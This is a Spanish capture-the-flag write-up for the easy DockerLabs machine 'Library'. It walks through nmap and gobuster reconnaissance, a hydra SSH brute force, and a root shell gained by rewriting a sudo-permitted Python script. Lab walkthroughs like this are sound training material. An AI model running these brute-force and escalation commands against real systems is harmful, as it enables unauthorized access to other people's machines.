Library
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo se documenta la resolución de la máquina virtual Library, diseñada por El Pingüino de Mario y catalogada como de dificultad fácil. Se presenta un recorrido detallado por las etapas de reconocimiento, explotación y escalada de privilegios, utilizando herramientas comúnmente empleadas en entornos de captura la bandera (CTF).
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Library
- Autor: El Pingüino de Mario
- Nivel de Dificultad: Fácil
- Fecha de creación: 13/05/2024
Paso 0: Instalación / Despliegue
Sección titulada «Paso 0: Instalación / Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo:
Ventana de terminal unzip Library.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Library.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de la IP
Sección titulada «Identificación de la IP»Al iniciarse la máquina virtual, se muestra directamente su dirección IP, por lo que no se requiere escaneo ARP.

Preparamos el entorno de trabajo:
mkdir Librarycd Librarymkt # Crea: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Iniciamos con un escaneo completo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Detección de Servicios
Sección titulada «Detección de Servicios»Examinamos los servicios asociados a los puertos 22 (SSH) y 80 (HTTP):
nmap -sCV -p22,80 172.17.0.2 -oN targeted
Enumeración Web
Sección titulada «Enumeración Web»Procedemos a enumerar rutas en el servidor web utilizando gobuster:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Los únicos archivos detectados fueron:
-
index.html
-
index.php
Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Dado que no se encontraron rutas sensibles ni formularios, decidimos probar autenticación por fuerza bruta sobre SSH. Usamos hydra con una contraseña conocida:
hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \ -p JIFGHDS87GYDFIGD ssh://172.17.0.2 -t 4
Una vez identificado el nombre de usuario válido, accedemos vía SSH:

Paso 3: Elevación de Privilegios
Sección titulada «Paso 3: Elevación de Privilegios»Consultamos los privilegios sudo disponibles:
sudo -lDetectamos que se permite la ejecución de un script Python como superusuario sin contraseña:

Editamos el archivo /opt/script.py con el siguiente código para obtener una shell como root:
import osos.setuid(0)os.system("/bin/sh")Ejecutamos el script usando sudo:
sudo python3 /opt/script.pyEsto nos otorga acceso como superusuario:

Conclusión
Sección titulada «Conclusión»La máquina Library ofrece una experiencia introductoria ideal para familiarizarse con técnicas básicas de enumeración web, fuerza bruta en SSH y escalada de privilegios a través de scripts con permisos sudo. Su estructura clara permite aplicar una metodología ordenada de análisis, aprovechando cada hallazgo para avanzar hasta la obtención del acceso como usuario root.